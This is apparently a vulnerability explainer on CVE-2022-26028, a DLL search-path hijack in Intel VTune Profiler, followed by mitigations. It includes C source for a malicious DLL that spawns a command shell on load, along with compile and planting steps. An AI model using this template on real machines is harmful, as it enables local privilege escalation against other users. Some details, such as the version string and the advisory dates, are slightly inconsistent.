In March 2022, Intel published a security advisory regarding a vulnerability affecting its performance analysis tool, VTune Profiler. Cataloged as CVE-2022-26028, this flaw exposes a significant risk for privilege escalation on Windows systems. For security researchers and defenders alike, understanding how this simple yet dangerous bug works is crucial.

This article digs deep into the vulnerability, explains its mechanics, showcases proof-of-concept code, and provides expert recommendations. All details are written in clear, basic English.

What is Intel VTune Profiler?

VTune Profiler is a powerful software mainly used by developers and engineers to analyze and optimize application performance, especially on Intel architectures. It allows collection of performance data, revealing bottlenecks and inefficiencies.

TL;DR

If a user can write files to certain directories searched by VTune Profiler at launch, they can plant malicious code. When VTune runs, it loads and executes this code with the user’s privileges—possibly higher than the attacker’s own.

Official Sources

- Intel Security Advisory (INTEL-SA-00698)
- NVD Entry

What is Uncontrolled Search Path?

When programs load other libraries (DLLs on Windows), they look for them in “search paths.” If this path isn’t controlled (for example, includes directories writable by normal users), an attacker can drop a specially made malicious DLL that gets loaded and run.

In this case:  
VTune Profiler, before version 2022.2., loads certain DLLs from locations that users can write to. Because of that, a local attacker can gain higher access or execute code as another user.

Identify Writable Directory in VTune’s Search Path

Common locations may include the VTune installation directory (if wrongly permissioned), %PATH% directories, or even the current working directory.

Here’s a simplified C code for a malicious DLL (on Windows) that spawns a command shell

// Save as evil.c, compile with: cl evil.c /LD
#include <windows.h>
#define CMD "cmd.exe"

BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            // Change to any payload you want
            WinExec(CMD, SW_SHOW);
            break;
    }
    return TRUE;
}

Compile with Microsoft Visual Studio Developer Command Prompt

cl evil.c /LD


This creates evil.dll.

Placing the DLL

Suppose VTune searches for a DLL called example.dll, and checks the current working directory first. A simple attack could be:

1. Copy evil.dll as example.dll to the location searched first (e.g., C:\Program Files (x86)\Intel\VTune\ if the attacker can write there, or current working directory if running).

Launch VTune Profiler or wait for an admin or more privileged user to do it.

3. When VTune loads, it runs evil.dll, executing whatever code you placed (here, it opens a command shell).

Real-World Impact

If your computer has separate user accounts and one user has administrative privileges and another is a regular user, the regular user can use this attack to execute code as the admin, if the admin runs VTune. This breaks Windows security by allowing privilege escalation.

Update VTune Profiler

- Intel fixed this issue in version 2022.2.. Get the latest version from Intel’s official site.

Restrict Directory Permissions

- Make sure only administrators can write to software installation folders. Do not allow regular users to modify or add files in C:\Program Files\... directories.

Block Untrusted Paths

- Consider restricting DLL search paths with Windows group policies or using SafeDllSearchMode.

Conclusion

CVE-2022-26028 is a classic “search path hijack” that can have devastating consequences when chained with other vulnerabilities or misconfigurations. While Intel patched this issue quickly, it’s a good reminder for all developers and sysadmins: Always sanitize your search paths and permissions!

References

- Intel Security Advisory INTEL-SA-00698
- NVD Entry for CVE-2022-26028
- DLL Hijacking Explained

Timeline

Published on: 11/11/2022 16:15:00 UTC
Last modified on: 11/17/2022 22:22:00 UTC